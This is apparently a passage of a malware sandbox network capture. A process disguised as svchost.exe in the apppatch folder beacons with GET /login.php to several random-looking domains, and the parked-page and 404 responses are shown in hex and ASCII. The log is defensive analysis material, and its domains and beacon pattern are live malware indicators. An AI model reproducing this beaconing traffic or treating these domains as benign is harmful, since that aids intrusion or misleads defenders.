                                                                                                                                                                                                          Nov 11, 2024 18:14:53.706125021 CET696INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:14:53 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 548
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.734622002 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gadyniw.com
                                                                                                                                                                                                          Nov 11, 2024 18:14:54.078891993 CET696INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:14:53 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 548
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          104192.168.2.664567199.59.243.227804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.822596073 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vojyqem.com
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.431220055 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                          date: Mon, 11 Nov 2024 17:14:52 GMT
                                                                                                                                                                                                          content-type: text/html; charset=utf-8
                                                                                                                                                                                                          content-length: 1094
                                                                                                                                                                                                          x-request-id: 6af4f88a-7d36-4a7d-ba42-3b28d9e6c9e7
                                                                                                                                                                                                          cache-control: no-store, max-age=0
                                                                                                                                                                                                          accept-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          critical-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          vary: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==
                                                                                                                                                                                                          set-cookie: parking_session=6af4f88a-7d36-4a7d-ba42-3b28d9e6c9e7; expires=Mon, 11 Nov 2024 17:29:53 GMT; path=/
                                                                                                                                                                                                          Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 4d 79 74 48 62 6d 6d 72 66 4d 63 2b 6b 7a 6d 69 50 59 54 74 32 75 53 32 50 44 6e 48 48 6a 2f 70 2f 32 6e 43 4e 4e 30 34 47 32 65 4f 72 59 58 2f 4c 53 49 39 69 66 61 74 74 43 39 36 6f 39 32 78 43 7a 57 72 75 51 36 35 71 6c 39 2b 6f 6f 6e 64 7a 63 54 44 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="pr
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.431252003 CET528INData Raw: 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65
                                                                                                                                                                                                          Data Ascii: econnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNmFmNGY4OGEtN2QzNi00YTdkLWJhNDItM2IyOGQ5ZTZjOWU3IiwicGFnZV90aW1lIjoxNzMxMzQ1MjkzLCJwYWdlX3VybCI6I
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.431423903 CET528INData Raw: 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65
                                                                                                                                                                                                          Data Ascii: econnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNmFmNGY4OGEtN2QzNi00YTdkLWJhNDItM2IyOGQ5ZTZjOWU3IiwicGFnZV90aW1lIjoxNzMxMzQ1MjkzLCJwYWdlX3VybCI6I
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.668106079 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                          date: Mon, 11 Nov 2024 17:14:52 GMT
                                                                                                                                                                                                          content-type: text/html; charset=utf-8
                                                                                                                                                                                                          content-length: 1094
                                                                                                                                                                                                          x-request-id: 6af4f88a-7d36-4a7d-ba42-3b28d9e6c9e7
                                                                                                                                                                                                          cache-control: no-store, max-age=0
                                                                                                                                                                                                          accept-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          critical-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          vary: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==
                                                                                                                                                                                                          set-cookie: parking_session=6af4f88a-7d36-4a7d-ba42-3b28d9e6c9e7; expires=Mon, 11 Nov 2024 17:29:53 GMT; path=/
                                                                                                                                                                                                          Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 4d 79 74 48 62 6d 6d 72 66 4d 63 2b 6b 7a 6d 69 50 59 54 74 32 75 53 32 50 44 6e 48 48 6a 2f 70 2f 32 6e 43 4e 4e 30 34 47 32 65 4f 72 59 58 2f 4c 53 49 39 69 66 61 74 74 43 39 36 6f 39 32 78 43 7a 57 72 75 51 36 35 71 6c 39 2b 6f 6f 6e 64 7a 63 54 44 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="pr


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          105192.168.2.6645693.94.10.34804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.822777987 CET353OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lymyxid.com
                                                                                                                                                                                                          Cookie: snkz=66.23.206.109; btst=a6a1e25fd407ed990568203a5694c412|66.23.206.109|1731345224|1731345181|12|3|0
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.431265116 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:14:53 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=a6a1e25fd407ed990568203a5694c412|66.23.206.109|1731345293|1731345181|40|4|0; path=/; domain=.lymyxid.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.668118954 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:14:53 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=a6a1e25fd407ed990568203a5694c412|66.23.206.109|1731345293|1731345181|40|4|0; path=/; domain=.lymyxid.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          106192.168.2.66457018.208.156.248804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.822851896 CET353OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vonypom.com
                                                                                                                                                                                                          Cookie: snkz=66.23.206.109; btst=0bd0e9c81f5fb4bdcf4537ef7dcca8b6|66.23.206.109|1731345224|1731345181|12|3|0
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.431277037 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:14:53 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=0bd0e9c81f5fb4bdcf4537ef7dcca8b6|66.23.206.109|1731345293|1731345181|40|4|0; path=/; domain=.vonypom.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.668047905 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:14:53 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=0bd0e9c81f5fb4bdcf4537ef7dcca8b6|66.23.206.109|1731345293|1731345181|40|4|0; path=/; domain=.vonypom.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          107192.168.2.664571199.191.50.83804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.822868109 CET281OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: galyqaz.com
                                                                                                                                                                                                          Cookie: vsid=903vr478890781963739088
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.015415907 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:14:53 GMT
                                                                                                                                                                                                          Server: Apache
                                                                                                                                                                                                          Referrer-Policy: no-referrer-when-downgrade
                                                                                                                                                                                                          Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version
                                                                                                                                                                                                          Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com")
                                                                                                                                                                                                          X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_NHOnw0G73BscnvIcyf8HaXYxUwB52N5y4R2rV77ldfg6F/P3HTMIgnr4aIPWR/fyPGslgb3huQzNdSH/7sK+hw==
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                          Data Raw: 61 39 34 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e 69 66 72 61 6d 65 20 3d 20 74 72 75 65 3b 20 69 66 28 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: a94a<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net"> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}i
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.015430927 CET212INData Raw: 66 28 21 28 22 63 6d 70 5f 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3c 31 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3d 30 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 69 64 22 20 69 6e 20 77 69 6e 64 6f
                                                                                                                                                                                                          Data Ascii: f(!("cmp_id" in window)||window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="21fdca2281833"}if(!("cmp_params" in window)){window.cmp_params=""}if(!("cmp_host" in window)){window.cmp_host
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.015444040 CET1236INData Raw: 3d 22 61 2e 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 6e 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 63 64 6e 3d 22 63 64 6e 2e 63 6f
                                                                                                                                                                                                          Data Ascii: ="a.delivery.consentmanager.net"}if(!("cmp_cdn" in window)){window.cmp_cdn="cdn.consentmanager.net"}if(!("cmp_proto" in window)){window.cmp_proto="https:"}if(!("cmp_codesrc" in window)){window.cmp_codesrc="1"}window.cmp_getsupportedLangs=funct
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.015456915 CET212INData Raw: 2e 69 6e 64 65 78 4f 66 28 22 63 6d 70 6c 61 6e 67 3d 22 29 21 3d 2d 31 29 7b 63 2e 70 75 73 68 28 65 2e 73 75 62 73 74 72 28 65 2e 69 6e 64 65 78 4f 66 28 22 63 6d 70 6c 61 6e 67 3d 22 29 2b 38 2c 32 29 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29
                                                                                                                                                                                                          Data Ascii: .indexOf("cmplang=")!=-1){c.push(e.substr(e.indexOf("cmplang=")+8,2).toUpperCase())}else{if("cmp_setlang" in window&&window.cmp_setlang!=""){c.push(window.cmp_setlang.toUpperCase())}else{if(a.length>0){for(var d=
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.015467882 CET1236INData Raw: 30 3b 64 3c 61 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 63 2e 70 75 73 68 28 61 5b 64 5d 29 7d 7d 7d 7d 7d 69 66 28 22 6c 61 6e 67 75 61 67 65 22 20 69 6e 20 6e 61 76 69 67 61 74 6f 72 29 7b 63 2e 70 75 73 68 28 6e 61 76 69 67 61 74 6f 72 2e 6c 61
                                                                                                                                                                                                          Data Ascii: 0;d<a.length;d++){c.push(a[d])}}}}}if("language" in navigator){c.push(navigator.language)}if("userLanguage" in navigator){c.push(navigator.userLanguage)}var h="";for(var d=0;d<c.length;d++){var b=c[d].toUpperCase();if(g.indexOf(b)!=-1){h=b;bre
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.015480995 CET14INData Raw: 74 22 29 3b 6a 2e 73 65 74 41 74 74 72 69
                                                                                                                                                                                                          Data Ascii: t");j.setAttri
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.015594959 CET1236INData Raw: 62 75 74 65 28 22 64 61 74 61 2d 63 6d 70 2d 61 62 22 2c 22 31 22 29 3b 76 61 72 20 63 3d 78 28 22 63 6d 70 64 65 73 69 67 6e 22 2c 22 63 6d 70 5f 64 65 73 69 67 6e 22 20 69 6e 20 68 3f 68 2e 63 6d 70 5f 64 65 73 69 67 6e 3a 22 22 29 3b 76 61 72
                                                                                                                                                                                                          Data Ascii: bute("data-cmp-ab","1");var c=x("cmpdesign","cmp_design" in h?h.cmp_design:"");var f=x("cmpregulationkey","cmp_regulationkey" in h?h.cmp_regulationkey:"");var r=x("cmpgppkey","cmp_gppkey" in h?h.cmp_gppkey:"");var n=x("cmpatt","cmp_att" in h?h
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.015615940 CET1236INData Raw: 22 2c 22 63 6d 70 5f 64 65 62 75 67 63 6f 76 65 72 61 67 65 22 20 69 6e 20 68 3f 68 2e 63 6d 70 5f 64 65 62 75 67 63 6f 76 65 72 61 67 65 3a 22 22 29 3b 69 66 28 61 3d 3d 22 31 22 29 7b 6d 3d 22 69 6e 73 74 72 75 6d 65 6e 74 65 64 22 3b 70 3d 22
                                                                                                                                                                                                          Data Ascii: ","cmp_debugcoverage" in h?h.cmp_debugcoverage:"");if(a=="1"){m="instrumented";p=""}var j=u.createElement("script");j.src=k+"//"+h.cmp_cdn+"/delivery/"+m+"/cmp"+b+p+".js";j.type="text/javascript";j.setAttribute("data-cmp-ab","1");j.async=true;
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.015630960 CET424INData Raw: 22 3d 22 29 29 3b 69 66 28 62 2e 69 6e 64 65 78 4f 66 28 22 3b 22 29 21 3d 2d 31 29 7b 76 61 72 20 63 3d 62 2e 73 75 62 73 74 72 69 6e 67 28 62 2e 69 6e 64 65 78 4f 66 28 22 3d 22 29 2b 31 2c 62 2e 69 6e 64 65 78 4f 66 28 22 3b 22 29 29 7d 65 6c
                                                                                                                                                                                                          Data Ascii: "="));if(b.indexOf(";")!=-1){var c=b.substring(b.indexOf("=")+1,b.indexOf(";"))}else{var c=b.substr(b.indexOf("=")+1,b.length)}if(h==g){f=c}var e=b.indexOf(";")+1;if(e==0){e=b.length}b=b.substring(e,b.length)}return(f)};window.cmp_stub=functio
